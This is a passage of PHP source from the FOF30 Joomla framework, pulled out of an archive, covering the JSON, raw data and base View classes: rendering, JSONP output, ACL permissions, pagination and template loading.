$csv[] = $v; } echo implode(",", $csv) . "\r\n"; } } $eventName = 'onAfter' . ucfirst($this->doTask); $this->triggerEvent($eventName, [$tpl]); return true; } } PK���\�_;���fof30/View/DataView/Json.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\View\DataView; defined('_JEXEC') || die; use Exception; use FOF30\Model\DataModel; use Joomla\CMS\Document\Document; use Joomla\CMS\Document\JsonDocument as JDocumentJSON; class Json extends Raw implements DataViewInterface { /** * Set to true if your onBefore* methods have already populated the item, items, limitstart etc properties used to * render a JSON document. * * @var bool */ public $alreadyLoaded = false; /** * Record listing offset (how many records to skip before starting showing some) * * @var int */ protected $limitStart = 0; /** * Record listing limit (how many records to show) * * @var int */ protected $limit = 10; /** * Total number of records in the result set * * @var int */ protected $total = 0; /** * The record being displayed * * @var DataModel */ protected $item = null; /** * Overrides the default method to execute and display a template script. * Instead of loadTemplate is uses loadAnyTemplate. * * @param string $tpl The name of the template file to parse * * @return boolean True on success * * @throws Exception When the layout file is not found */ public function display($tpl = null) { $eventName = 'onBefore' . ucfirst($this->doTask); $this->triggerEvent($eventName, [$tpl]); $eventName = 'onAfter' . ucfirst($this->doTask); $this->triggerEvent($eventName, [$tpl]); return true; } /** * The event which runs when we are displaying the record list JSON view * * @param string $tpl The sub-template to use */ public function onBeforeBrowse($tpl = null) { // Load the model /** @var DataModel $model */ $model = $this->getModel(); $result = ''; if (!$this->alreadyLoaded) { $this->limitStart = $model->getState('limitstart', 0); $this->limit = $model->getState('limit', 0); $this->items = $model->get(true, $this->limitStart, $this->limit); $this->total = $model->count(); } $document = $this->container->platform->getDocument(); /** @var JDocumentJSON $document */ if ($document instanceof Document) { $document->setMimeEncoding('application/json'); } if (is_null($tpl)) { $tpl = 'json'; } $hasFailed = false; try { $result = $this->loadTemplate($tpl, true); if ($result instanceof Exception) { $hasFailed = true; } } catch (Exception $e) { $hasFailed = true; } if ($hasFailed) { // Default JSON behaviour in case the template isn't there! $result = []; foreach ($this->items as $item) { if (is_object($item) && method_exists($item, 'toArray')) { $result[] = $item->toArray(); } else { $result[] = $item; } } $json = json_encode($result, JSON_PRETTY_PRINT); // JSONP support $callback = $this->input->get('callback', null, 'raw'); if (!empty($callback)) { echo $callback . '(' . $json . ')'; } else { $defaultName = $this->input->get('view', 'main', 'cmd'); $filename = $this->input->get('basename', $defaultName, 'cmd'); $document->setName($filename); echo $json; } } else { echo $result; } } /** * The event which runs when we are displaying a single item JSON view * * @param string $tpl The view sub-template to use */ protected function onBeforeRead($tpl = null) { self::renderSingleItem($tpl); } /** * The event which runs when we are displaying a single item JSON view * * @param string $tpl The view sub-template to use */ protected function onAfterSave($tpl = null) { self::renderSingleItem($tpl); } /** * Renders a single item JSON view * * @param string $tpl The view sub-template to use */ protected function renderSingleItem($tpl) { // Load the model /** @var DataModel $model */ $model = $this->getModel(); $result = ''; if (!$this->alreadyLoaded) { $this->item = $model->find(); } $document = $this->container->platform->getDocument(); /** @var JDocumentJSON $document */ if ($document instanceof Document) { $document->setMimeEncoding('application/json'); } if (is_null($tpl)) { $tpl = 'json'; } $hasFailed = false; try { $result = $this->loadTemplate($tpl, true); if ($result instanceof Exception) { $hasFailed = true; } } catch (Exception $e) { $hasFailed = true; } if ($hasFailed) { // Default JSON behaviour in case the template isn't there! if (is_object($this->item) && method_exists($this->item, 'toArray')) { $data = $this->item->toArray(); } else { $data = $this->item; } $json = json_encode($data, JSON_PRETTY_PRINT); // JSONP support $callback = $this->input->get('callback', null); if (!empty($callback)) { echo $callback . '(' . $json . ')'; } else { $defaultName = $this->input->get('view', 'main', 'cmd'); $filename = $this->input->get('basename', $defaultName, 'cmd'); $document->setName($filename); echo $json; } } else { echo $result; } } } PK���\��f�g'g'fof30/View/DataView/Raw.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\View\DataView; defined('_JEXEC') || die; use Exception; use FOF30\Container\Container; use FOF30\Model\DataModel; use FOF30\Model\DataModel\Collection; use FOF30\View\View; use Joomla\CMS\Application\SiteApplication; use Joomla\CMS\Factory; use Joomla\CMS\HTML\HTMLHelper; use Joomla\CMS\Pagination\Pagination; use Joomla\Registry\Registry; use stdClass; /** * View for a raw data-driven view */ class Raw extends View implements DataViewInterface { /** @var stdClass Data lists */ protected $lists = null; /** @var Pagination The pagination object */ protected $pagination = null; /** @var Registry|Registry Page parameters object, for front-end views */ protected $pageParams = null; /** @var Collection The records loaded (browse views) */ protected $items = null; /** @var DataModel The record loaded (read, edit, add views) */ protected $item = null; /** @var int The total number of items in the model (more than those loaded) */ protected $itemCount = 0; /** @var stdClass ACL permissions map */ protected $permissions = null; /** @var array Additional permissions to fetch on object creation, see getPermissions() */ protected $additionalPermissions = []; /** * Overrides the constructor to apply Joomla! ACL permissions * * @param Container $container The container we belong to * @param array $config The configuration overrides for the view */ public function __construct(Container $container, array $config = []) { parent::__construct($container, $config); $this->permissions = $this->getPermissions(null, $this->additionalPermissions); } /** * Determines if the current Joomla! version and your current table support AJAX-powered drag and drop reordering. * If they do, it will set up the drag & drop reordering feature. * * @return boolean|array False if not supported, otherwise a table with necessary information (saveOrder: should * you enable DnD reordering; orderingColumn: which column has the ordering information). */ public function hasAjaxOrderingSupport() { /** @var DataModel $model */ $model = $this->getModel(); if (!$model->hasField('ordering')) { return false; } $listOrder = $this->escape($model->getState('filter_order', null, 'cmd')); $listDirn = $this->escape($model->getState('filter_order_Dir', null, 'cmd')); $saveOrder = $listOrder == $model->getFieldAlias('ordering'); $saveOrderingUrl = ''; if ($saveOrder) { $saveOrderingUrl = 'index.php?option=' . $this->container->componentName . '&view=' . $this->getName() . '&task=saveorder&format=json'; $helper = version_compare(JVERSION, '3.999.999', 'le') ? 'sortablelist.sortable' : 'draggablelist.draggable'; HtmlHelper::_($helper, 'itemsList', 'adminForm', strtolower($listDirn), $saveOrderingUrl); } return [ 'saveOrder' => $saveOrder, 'saveOrderURL' => $saveOrderingUrl . '&' . $this->container->platform->getToken() . '=1', 'orderingColumn' => $model->getFieldAlias('ordering'), ]; } /** * Returns the internal list of useful variables to the benefit of header fields. * * @return stdClass */ public function getLists() { return $this->lists; } /** * Returns a reference to the permissions object of this view * * @return stdClass */ public function getPerms() { return $this->permissions; } /** * Returns a reference to the pagination object of this view * * @return Pagination */ public function getPagination() { return $this->pagination; } /** * Get the items collection for browse views * * @return Collection */ public function getItems() { return $this->items; } /** * Get the item for read, edit, add views * * @return DataModel */ public function getItem() { return $this->item; } /** * Get the items count for browse views * * @return int */ public function getItemCount() { return $this->itemCount; } /** * Get the Joomla! page parameters * * @return Registry|Registry */ public function getPageParams() { return $this->pageParams; } /** * Returns a permissions object. * * The additionalPermissions array is a hashed array of local key => Joomla! ACL key value pairs. Local key is the * name of the permission in the permissions object, whereas Joomla! ACL key is the name of the ACL permission * known to Joomla! e.g. "core.manage", "foobar.something" and so on. * * Note: on CLI applications all permissions are set to TRUE. There is no ACL check there. * * @param null|string $component The name of the component. Leave empty for automatic detection. * @param array $additionalPermissions Any additional permissions you want to add to the object. * * @return object */ protected function getPermissions($component = null, array $additionalPermissions = []) { // Make sure we have a component if (empty($component)) { $component = $this->container->componentName; } // Initialise with all true $permissions = [ 'create' => true, 'edit' => true, 'editown' => true, 'editstate' => true, 'delete' => true, ]; if (!empty($additionalPermissions)) { foreach ($additionalPermissions as $localKey => $joomlaPermission) { $permissions[$localKey] = true; } } $platform = $this->container->platform; // If this is a CLI application we don't make any ACL checks if ($platform->isCli()) { return (object) $permissions; } // Get the core permissions $permissions = [ 'create' => $platform->authorise('core.create', $component), 'edit' => $platform->authorise('core.edit', $component), 'editown' => $platform->authorise('core.edit.own', $component), 'editstate' => $platform->authorise('core.edit.state', $component), 'delete' => $platform->authorise('core.delete', $component), ]; if (!empty($additionalPermissions)) { foreach ($additionalPermissions as $localKey => $joomlaPermission) { $permissions[$localKey] = $platform->authorise($joomlaPermission, $component); } } return (object) $permissions; } /** * Executes before rendering the page for the Browse task. */ protected function onBeforeBrowse() { // Create the lists object $this->lists = new stdClass(); // Load the model /** @var DataModel $model */ $model = $this->getModel(); // We want to persist the state in the session $model->savestate(1); // Display limits $defaultLimit = 20; if (!$this->container->platform->isCli() && class_exists('JFactory')) { $app = Factory::getApplication(); if (method_exists($app, 'get')) { $defaultLimit = $app->get('list_limit'); } else { $defaultLimit = 20; } } $this->lists->limitStart = $model->getState('limitstart', 0, 'int'); $this->lists->limit = $model->getState('limit', $defaultLimit, 'int'); $model->limitstart = $this->lists->limitStart; $model->limit = $this->lists->limit; // Assign items to the view $this->items = $model->get(false); $this->itemCount = $model->count(); // Ordering information $this->lists->order = $model->getState('filter_order', $model->getIdFieldName(), 'cmd'); $this->lists->order_Dir = $model->getState('filter_order_Dir', null, 'cmd'); if ($this->lists->order_Dir) { $this->lists->order_Dir = strtolower($this->lists->order_Dir); } // Pagination $this->pagination = new Pagination($this->itemCount, $this->lists->limitStart, $this->lists->limit); // Pass page params on frontend only if ($this->container->platform->isFrontend()) { /** @var SiteApplication $app */ $app = Factory::getApplication(); $params = $app->getParams(); $this->pageParams = $params; } } /** * Executes before rendering the page for the add task. */ protected function onBeforeAdd() { /** @var DataModel $model */ $model = $this->getModel(); /** * The model is pushed into the View by the Controller. As you can see in DataController::add() it is possible * to push both default values (defaultsForAdd) as well as data from the state (e.g. when saving a new record * failed for some reason and the user needs to edit it). That's why we populate defaultFields from $model. We * still do a full reset on a clone of the Model to get a clean object and merge default values (instead of null * values) with the data pushed by the controller. */ $defaultFields = $model->getData(); $this->item = $model->getClone()->reset(true, true); foreach ($defaultFields as $k => $v) { try { $this->item->setFieldValue($k, $v); } catch (Exception $e) { // Suppress errors in field assignments at this stage } } } /** * Executes before rendering the page for the Edit task. */ protected function onBeforeEdit() { /** @var DataModel $model */ $model = $this->getModel(); // It seems that I can't edit records, maybe I can edit only this one due asset tracking? if (!$this->permissions->edit || !$this->permissions->editown) { if ($model) { // Ok, record is tracked, let's see if I can this record if ($model->isAssetsTracked()) { $platform = $this->container->platform; if (!$this->permissions->edit) { $this->permissions->edit = $platform->authorise('core.edit', $model->getAssetName()); } if (!$this->permissions->editown) { $this->permissions->editown = $platform->authorise('core.edit.own', $model->getAssetName()); } } } } $this->item = $model->findOrFail(); } /** * Executes before rendering the page for the Read task. */ protected function onBeforeRead() { /** @var DataModel $model */ $model = $this->getModel(); $this->item = $model->findOrFail(); } } PK���\*��fof30/View/View.phpnu&1i�<?php /** * @package FOF * @copyright Copyright (c)2010-2021 Nicholas K. Dionysopoulos / Akeeba Ltd * @license GNU General Public License version 2, or later */ namespace FOF30\View; defined('_JEXEC') || die; use ErrorException; use Exception; use FOF30\Container\Container; use FOF30\Input\Input; use FOF30\Model\Model; use FOF30\View\Engine\EngineInterface; use FOF30\View\Engine\PhpEngine; use FOF30\View\Exception\CannotGetName; use FOF30\View\Exception\EmptyStack; use FOF30\View\Exception\ModelNotFound; use FOF30\View\Exception\UnrecognisedExtension; use Joomla\CMS\Language\Text; /** * Class View * * A generic MVC view implementation * * @property-read Input $input The input object (magic __get returns the Input from the Container) */ class View { public $baseurl = null; /** * Current or most recently performed task. * Currently public, it should be reduced to protected in the future * * @var string */ public $task; /** * The mapped task that was performed. * Currently public, it should be reduced to protected in the future * * @var string */ public $doTask; /** * The name of the view * * @var array */ protected $name = null; /** * Registered models * * @var array */ protected $modelInstances = []; /** * The default model * * @var string */ protected $defaultModel = null; /** * Layout name * * @var string */ protected $layout = 'default'; /** * Layout template * * @var string */ protected $layoutTemplate = '_'; /** * The set of search directories for view templates * * @var array */ protected $templatePaths = []; /** * The name of the default template source file. * * @var string */ protected $template = null; /** * The output of the template script. * * @var string */ protected $output = null; /** * A cached copy of the configuration * * @var array */ protected $config = []; /** * The container attached to this view * * @var Container */ protected $container; /** * The object used to locate view templates in the filesystem * * @var ViewTemplateFinder */ protected $viewFinder = null; /** * Used when loading template files to avoid variable scope issues * * @var null */ protected $_tempFilePath = null; /** * Should I run the pre-render step? * * @var boolean */ protected $doPreRender = true; /** * Should I run the post-render step? * * @var boolean */ protected $doPostRender = true; /** * Maps view template extensions to view engine classes * * @var array */ protected $viewEngineMap = [ '.blade.php' => 'FOF30\\View\\Engine\\BladeEngine', '.php' => 'FOF30\\View\\Engine\\PhpEngine', ]; /** * All of the finished, captured sections. * * @var array */ protected $sections = []; /** * The stack of in-progress sections. * * @var array */ protected $sectionStack = []; /** * The number of active rendering operations. * * @var int */ protected $renderCount = 0; /** * Aliases of view templates. For example: * * array('userProfile' => 'site://com_foobar/users/profile') * * allows you to do something like $this->loadAnyTemplate('userProfile') to display the frontend view template * site://com_foobar/users/profile. You can also alias one view template with another, e.g. * 'site://com_something/users/profile' => 'admin://com_foobar/clients/record' * * @var array */ protected $viewTemplateAliases = []; /** * Constructor. * * The $config array can contain the following overrides: * name string The name of the view (defaults to the view class name) * template_path string The path of the layout directory * layout string The layout for displaying the view * viewFinder ViewTemplateFinder The object used to locate view templates in the filesystem * viewEngineMap array Maps view template extensions to view engine classes * * @param Container $container The container we belong to * @param array $config The configuration overrides for the view * * @return View */ public function __construct(Container $container, array $config = []) { $this->container = $container; $this->config = $config; // Get the view name if (isset($this->config['name'])) { $this->name = $this->config['name']; } $this->name = $this->getName(); // Set the default template search path if (array_key_exists('template_path', $this->config)) { // User-defined dirs $this->setTemplatePath($this->config['template_path']); } else { $this->setTemplatePath($this->container->thisPath . '/View/' . ucfirst($this->name) . '/tmpl'); } // Set the layout if (array_key_exists('layout', $this->config)) { $this->setLayout($this->config['layout']); } // Apply the viewEngineMap if (isset($config['viewEngineMap'])) { // If the overrides are a string convert it to an array first. if (!is_array($config['viewEngineMap'])) { $temp = explode(',', $config['viewEngineMap']); $config['viewEngineMap'] = []; foreach ($temp as $assignment) { $parts = explode('=>', $assignment, 2); if (count($parts) != 2) { continue; } $parts = array_map(function ($x) { return trim($x); }, $parts); $config['viewEngineMap'][$parts[0]] = $parts[1]; } } /** * We want to always have a sane fallback to plain .php template files at the end of the view engine stack. * For this to happen to we need to remove it from the current stack, disallow overriding it in the * viewEngineMap overrides, merge the overrides and then add the fallback at the very end of the stack. * * In previous versions we didn't do that which had two side effects: * 1. It was no longer a fallback, it was in the middle of the stack * 2. Any new template engines using a .something.php extension wouldn't work, see * https://github.com/akeeba/fof/issues/694 */ // Do not allow overriding the fallback .php handler if (isset($config['viewEngineMap']['.php'])) { unset ($config['viewEngineMap']['.php']); } // Temporarily remove the fallback .php handler $phpHandler = $this->viewEngineMap['.php'] ?? PhpEngine::class; unset ($this->viewEngineMap['.php']); // Add the overrides $this->viewEngineMap = array_merge($this->viewEngineMap, $config['viewEngineMap']); // Push the fallback .php handler to the end of the view engine map stack $this->viewEngineMap = array_merge($this->viewEngineMap, [ '.php' => $phpHandler ]); } // Set the ViewFinder $this->viewFinder = $this->container->factory->viewFinder($this); if (isset($config['viewFinder']) && !empty($config['viewFinder']) && is_object($config['viewFinder']) && ($config['viewFinder'] instanceof ViewTemplateFinder)) { $this->viewFinder = $config['viewFinder']; } // Apply the registered view template extensions to the view finder $this->viewFinder->setExtensions(array_keys($this->viewEngineMap)); // Apply the base URL $this->baseurl = $this->container->platform->URIbase(); } /** * Magic get method. Handles magic properties: * $this->input mapped to $this->container->input * * @param string $name The property to fetch * * @return mixed|null */ public function __get($name) { // Handle $this->input if ($name == 'input') { return $this->container->input; } // Property not found; raise error $trace = debug_backtrace(); trigger_error( 'Undefined property via __get(): ' . $name . ' in ' . $trace[0]['file'] . ' on line ' . $trace[0]['line'], E_USER_NOTICE); return null; } /** * Method to get the view name * * The model name by default parsed using the classname, or it can be set * by passing a $config['name'] in the class constructor * * @return string The name of the model * * @throws Exception */ public function getName() { if (empty($this->name)) { $r = null; if (!preg_match('/(.*)\\\\View\\\\(.*)\\\\(.*)/i', get_class($this), $r)) { throw new CannotGetName; } $this->name = $r[2]; } return $this->name; } /** * Escapes a value for output in a view script. * * @param mixed $var The output to escape. * * @return mixed The escaped value. */ public function escape($var) { return htmlspecialchars($var, ENT_COMPAT, 'UTF-8'); } /** * Method to get data from a registered model or a property of the view * * @param string $property The name of the method to call on the Model or the property to get * @param string $default The default value [optional] * @param string $modelName The name of the Model to reference [optional] * * @return mixed The return value of the method */ public function get($property, $default = null, $modelName = null) { // If $model is null we use the default model if (is_null($modelName)) { $model = $this->defaultModel; } else { $model = $modelName; } // First check to make sure the model requested exists if (isset($this->modelInstances[$model])) { // Model exists, let's build the method name $method = 'get' . ucfirst($property); // Does the method exist? if (method_exists($this->modelInstances[$model], $method)) { // The method exists, let's call it and return what we get $result = $this->modelInstances[$model]->$method(); return $result; } else { $result = $this->modelInstances[$model]->$property(); if (is_null($result)) { return $default; } return $result; } } // If the model doesn't exist, try to fetch a View property else { if (@isset($this->$property)) { return $this->$property; } else { return $default; } } } /** * Returns a named Model object * * @param string $name The Model name. If null we'll use the modelName * variable or, if it's empty, the same name as * the Controller * * @return Model The instance of the Model known to this Controller */ public function getModel($name = null) { if (!empty($name)) { $modelName = $name; } elseif (!empty($this->defaultModel)) { $modelName = $this->defaultModel; } else { $modelName = $this->name; } if (!array_key_exists($modelName, $this->modelInstances)) { throw new ModelNotFound($modelName, $this->name); } return $this->modelInstances[$modelName]; } /** * Pushes the default Model to the View * * @param Model $model The model to push */ public function setDefaultModel(Model &$model) { $name = $model->getName(); $this->setDefaultModelName($name); $this->setModel($this->defaultModel, $model); } /** * Set the name of the Model to be used by this View * * @param string $modelName The name of the Model * * @return void */ public function setDefaultModelName($modelName) { $this->defaultModel = $modelName; } /** * Pushes a named model to the View * * @param string $modelName The name of the Model * @param Model $model The actual Model object to push * * @return void */ public function setModel($modelName, Model &$model) { $this->modelInstances[$modelName] = $model; } /** * Overrides the default method to execute and display a template script. * Instead of loadTemplate is uses loadAnyTemplate. * * @param string $tpl The name of the template file to parse * * @return boolean True on success * * @throws Exception When the layout file is not found */ public function display($tpl = null) { $eventName = 'onBefore' . ucfirst($this->doTask); $this->triggerEvent($eventName, [$tpl]); $preRenderResult = ''; if ($this->doPreRender) { @ob_start(); $this->preRender(); $preRenderResult = @ob_get_contents(); @ob_end_clean(); } $templateResult = $this->loadTemplate($tpl); $eventName = 'onAfter' . ucfirst($this->doTask); $this->triggerEvent($eventName, [$tpl]); if (is_object($templateResult) && ($templateResult instanceof Exception)) { throw $templateResult; } echo $preRenderResult . $templateResult; if ($this->doPostRender) { $this->postRender(); } return true; } /** * Get the layout. * * @return string The layout name */ public function getLayout() { return $this->layout; } /** * Sets the layout name to use * * @param string $layout The layout name or a string in format <template>:<layout file> * * @return string Previous value. */ public function setLayout($layout) { $previous = $this->layout; if (is_null($layout)) { $layout = 'default'; } if (strpos($layout, ':') === false) { $this->layout = $layout; } else { // Convert parameter to array based on : $temp = explode(':', $layout); $this->layout = $temp[1]; // Set layout template $this->layoutTemplate = $temp[0]; } return $previous; } /** * Our function uses loadAnyTemplate to provide smarter view template loading. * * @param string $tpl The name of the template file to parse * @param boolean $strict Should we use strict naming, i.e. force a non-empty $tpl? * * @return mixed A string if successful, otherwise an Exception */ public function loadTemplate($tpl = null, $strict = false) { $result = ''; $uris = $this->viewFinder->getViewTemplateUris([ 'component' => $this->container->componentName, 'view' => $this->getName(), 'layout' => $this->getLayout(), 'tpl' => $tpl, 'strictTpl' => $strict, ]); foreach ($uris as $uri) { try { $result = $this->loadAnyTemplate($uri); break; } catch (Exception $e) { $result = $e; } } if ($result instanceof Exception) { $this->container->platform->raiseError($result->getCode(), $result->getMessage()); } return $result; } /** * Loads a template given any path. The path is in the format componentPart://componentName/viewName/layoutName, * for example * site:com_example/items/default * admin:com_example/items/default_subtemplate * auto:com_example/things/chair * any:com_example/invoices/printpreview * * @param string $uri The template path * @param array $forceParams A hash array of variables to be extracted in the local scope of the template * file * @param callable $callback A method to post-process the 3ναluα+3d view template (I use leetspeak here * because of bad quality hosts with broken scanners) * @param bool $noOverride If true we will not load Joomla! template overrides * * @return string The output of the template * * @throws Exception When the layout file is not found */ public function loadAnyTemplate($uri = '', $forceParams = [], $callback = null, $noOverride = false) { if (isset($this->viewTemplateAliases[$uri])) { $uri = $this->viewTemplateAliases[$uri]; } $layoutTemplate = $this->getLayoutTemplate(); $extraPaths = []; if (!empty($this->templatePaths)) { $extraPaths = $this->templatePaths; } // First get the raw view template path $path = $this->viewFinder->resolveUriToPath($uri, $layoutTemplate, $extraPaths, $noOverride); // Now get the parsed view template path $this->_tempFilePath = $this->getEngine($path)->get($path, $forceParams); // We will keep track of the amount of views being rendered so we can flush // the section after the complete rendering operation is done. This will // clear out the sections for any separate views that may be rendered. $this->incrementRender(); // Get the processed template $contents = $this->processTemplate($forceParams); // Once we've finished rendering the view, we'll decrement the render count // so that each sections get flushed out next time a view is created and // no old sections are staying around in the memory of an environment. $this->decrementRender(); $response = isset($callback) ? $callback($this, $contents) : null; if (!is_null($response)) { $contents = $response; } // Once we have the contents of the view, we will flush the sections if we are // done rendering all views so that there is nothing left hanging over when // another view gets rendered in the future by the application developer. $this->flushSectionsIfDoneRendering(); return $contents; } /** * Increment the rendering counter. * * @return void */ public function incrementRender() { $this->renderCount++; } /** * Decrement the rendering counter. * * @return void */ public function decrementRender() { $this->renderCount--; } /** * Check if there are no active render operations. * * @return bool */ public function doneRendering() { return $this->renderCount == 0; } /** * Go through a data array and render a subtemplate against each record (think master-detail views). This is * accessible through Blade templates as @each * * @param string $viewTemplate The view template to use for each subitem, format * componentPart://componentName/viewName/layoutName * @param array $data The array of data you want to render. It can be a DataModel\Collection, array, * ... * @param string $eachItemName How to call each item in the loaded subtemplate (passed through $forceParams) * @param string $empty What to display if the array is empty * * @return string */ public function renderEach($viewTemplate, $data, $eachItemName, $empty = 'raw|') { $result = ''; // If is actually data in the array, we will loop through the data and append // an instance of the partial view to the final result HTML passing in the // iterated value of this data array, allowing the views to access them. if (count($data) > 0) { foreach ($data as $key => $value) { $data = ['key' => $key, $eachItemName => $value]; $result .= $this->loadAnyTemplate($viewTemplate, $data); } } // If there is no data in the array, we will render the contents of the empty // view. Alternatively, the "empty view" could be a raw string that begins // with "raw|" for convenience and to let this know that it is a string. Or // a language string starting with text|. else { if (starts_with($empty, 'raw|')) { $result = substr($empty, 4); } elseif (starts_with($empty, 'text|')) { $result = Text::_(substr($empty, 5)); } else { $result = $this->loadAnyTemplate($empty); } } return $result; } /** * Start injecting content into a section. * * @param string $section * @param string $content * * @return void */ public function startSection($section, $content = '') { if ($content === '') { if (ob_start()) { $this->sectionStack[] = $section; } } else { $this->extendSection($section, $content); } } /** * Stop injecting content into a section and return its contents. * * @return string */ public function yieldSection() { return $this->yieldContent($this->stopSection()); } /** * Stop injecting content into a section. * * @param bool $overwrite * * @return string */ public function stopSection($overwrite = false) { if (empty($this->sectionStack)) { // Let's close the output buffering ob_get_clean(); throw new EmptyStack(); } $last = array_pop($this->sectionStack); if ($overwrite) { $this->sections[$last] = ob_get_clean(); } else { $this->extendSection($last, ob_get_clean()); } return $last; } /** * Stop injecting content into a section and append it. * * @return string */ public function appendSection() { if (empty($this->sectionStack)) { // Let's close the output buffering ob_get_clean(); throw new EmptyStack(); } $last = array_pop($this->sectionStack); if (isset($this->sections[$last])) { $this->sections[$last] .= ob_get_clean(); } else { $this->sections[$last] = ob_get_clean(); } return $last; } /** * Get the string contents of a section. * * @param string $section * @param string $default * * @return string */ public function yieldContent($section, $default = '') { $sectionContent = $default; if (isset($this->sections[$section])) { $sectionContent = $this->sections[$section]; } return str_replace('@parent', '', $sectionContent); } /** * Flush all of the section contents. * * @return void */ public function flushSections() { $this->sections = []; $this->sectionStack = []; } /** * Flush all of the section contents if done rendering. * * @return void */ public function flushSectionsIfDoneRendering() { if ($this->doneRendering()) { $this->flushSections(); } } /** * Get the layout template. * * @return string The layout template name */ public function getLayoutTemplate() { return $this->layoutTemplate; } /** * Load a helper file * * @param string $helperClass The last part of the name of the helper * class. * * @return void * * @deprecated 3.0 Just use the class in your code. That's what the autoloader is for. */ public function loadHelper($helperClass = null) { // Get the helper class name $className = '\\' . $this->container->getNamespacePrefix() . 'Helper\\' . ucfirst($helperClass); // This trick autoloads the helper class. We can't instantiate it as // helpers are (supposed to be) abstract classes with static method // interfaces. class_exists($className); } /** * Returns a reference to the container attached to this View * * @return Container */ public function &getContainer() { return $this->container; } public function getTask() { return $this->task; } /** * @param string $task * * @return $this This for chaining */ public function setTask($task) { $this->task = $task; return $this; } public function getDoTask() { return $this->doTask; } /** * @param string $task * * @return $this This for chaining */ public function setDoTask($task) { $this->doTask = $task; return $this; } /** * Sets the pre-render flag * * @param boolean $value True to enable the pre-render step * * @return void */ public function setPreRender($value) { $this->doPreRender = $value; } /** * Sets the post-render flag * * @param boolean $value True to enable the post-render step * * @return void */ public function setPostRender($value) { $this->doPostRender = $value; } /** * Add an alias for a view template. * * @param string $viewTemplate Existing view template, in the format * componentPart://componentName/viewName/layoutName * @param string $alias The alias of the view template (any string will do) * * @return void */ public function alias($viewTemplate, $alias) { $this->viewTemplateAliases[$alias] = $viewTemplate; } /** * Add a JS script file to the page generated by the CMS. * * There are three combinations of defer and async (see http://www.w3schools.com/tags/att_script_defer.asp): * * $defer false, $async true: The script is executed asynchronously with the rest of the page * (the script will be executed while the page continues the parsing) * * $defer true, $async false: The script is executed when the page has finished parsing. * * $defer false, $async false. (default) The script is loaded and executed immediately. When it finishes * loading the browser continues parsing the rest of the page. * * When you are using $defer = true there is no guarantee about the load order of the scripts. Whichever * script loads first will be executed first. The order they appear on the page is completely irrelevant. * * @param string $uri A path definition understood by parsePath, e.g. media://com_example/js/foo.js * @param string $version (optional) Version string to be added to the URL * @param string $type MIME type of the script * @param boolean $defer Adds the defer attribute, see above * @param boolean $async Adds the async attribute, see above * * @return $this Self, for chaining */ public function addJavascriptFile($uri, $version = null, $type = 'text/javascript', $defer = false, $async = false) { // Add an automatic version if $version is null. For no version parameter pass an empty string to $version. if (is_null($version)) { $version = $this->container->mediaVersion; } $this->container->template->addJS($uri, $defer, $async, $version, $type); return $this; } /** * Adds an inline JavaScript script to the page header * * @param string $script The script content to add * @param string $type The MIME type of the script * * @return $this Self, for chaining */ public function addJavascriptInline($script, $type = 'text/javascript') { $this->container->template->addJSInline($script, $type); return $this; } /** * Add a CSS file to the page generated by the CMS * * @param string $uri A path definition understood by parsePath, e.g. media://com_example/css/foo.css * @param string $version (optional) Version string to be added to the URL * @param string $type MIME type of the stylesheeet * @param string $media Media target definition of the style sheet, e.g. "screen" * @param array $attribs Array of attributes * * @return $this Self, for chaining */ public function addCssFile($uri, $version = null, $type = 'text/css', $media = null, $attribs = []) { // Add an automatic version if $version is null. For no version parameter pass an empty string to $version. if (is_null($version)) { $version = $this->container->mediaVersion; } $this->container->template->addCSS($uri, $version, $type, $media, $attribs); return $this; } /** * Adds an inline stylesheet (inline CSS) to the page header * * @param string $css The stylesheet content to add * @param string $type The MIME type of the script * * @return $this Self, for chaining */ public function addCssInline($css, $type = 'text/css') { $this->container->template->addCSSInline($css, $type); return $this; } /** * Sets an entire array of search paths for templates or resources. * * @param mixed $path The new search path, or an array of search paths. If null or false, resets to the current * directory only. * * @return void */ protected function setTemplatePath($path) { // Clear out the prior search dirs $this->templatePaths = []; // Actually add the user-specified directories $this->addTemplatePath($path); // Set the alternative template search dir $templatePath = JPATH_THEMES; $fallback = $templatePath . '/' . $this->container->platform->getTemplate() . '/html/' . $this->container->componentName . '/' . $this->name; $this->addTemplatePath($fallback); // Get extra directories through event dispatchers $extraPathsResults = $this->container->platform->runPlugins('onGetViewTemplatePaths', [ $this->container->componentName, $this->getName(), ]); if (is_array($extraPathsResults) && !empty($extraPathsResults)) { foreach ($extraPathsResults as $somePaths) { if (!empty($somePaths)) { foreach ($somePaths as $aPath) { $this->addTemplatePath($aPath); } } } } } /** * Adds to the search path for templates and resources. * * @param mixed $path The directory or stream, or an array of either, to search. * * @return void */ protected function addTemplatePath($path) { // Just force to array $path = (array) $path; // Loop through the path directories foreach ($path as $dir) { // No surrounding spaces allowed! $dir = trim($dir); // Add trailing separators as needed if (substr($dir, -1) != DIRECTORY_SEPARATOR) { // Directory $dir .= DIRECTORY_SEPARATOR; } // Add to the top of the search dirs array_unshift($this->templatePaths, $dir); } } /** * Append content to a given section. * * @param string $section * @param string $content * * @return void */ protected function extendSection($section, $content) { if (isset($this->sections[$section])) { $content = str_replace('@parent', $content, $this->sections[$section]); } $this->sections[$section] = $content; } /** * Evaluates the template described in the _tempFilePath property * * @param array $forceParams Forced parameters * * @return string * @throws Exception */ protected function processTemplate(array &$forceParams) { // If the engine returned raw content, return the raw content immediately if ($this->_tempFilePath['type'] == 'raw') { return $this->_tempFilePath['content']; } if (substr($this->_tempFilePath['content'], 0, 4) == 'raw|') { return substr($this->_tempFilePath['content'], 4); } $obLevel = ob_get_level(); ob_start(); // We'll process the contents of the view inside a try/catch block so we can // flush out any stray output that might get out before an error occurs or // an exception is thrown. This prevents any partial views from leaking. try { $this->includeTemplateFile($forceParams); } catch (Exception $e) { $this->handleViewException($e, $obLevel); } return ob_get_clean(); } /** * Handle a view exception. * * @param Exception $e The exception to handle * @param int $obLevel The target output buffering level * * @return void * * @throws $e */ protected function handleViewException(Exception $e, $obLevel) { while (ob_get_level() > $obLevel) { ob_end_clean(); } $message = $e->getMessage() . ' (View template: ' . realpath($this->_tempFilePath['content']) . ')'; $newException = new ErrorException($message, 0, 1, $e->getFile(), $e->getLine(), $e); throw $newException; } /** * Get the appropriate view engine for the given view template path. * * @param string $path The path 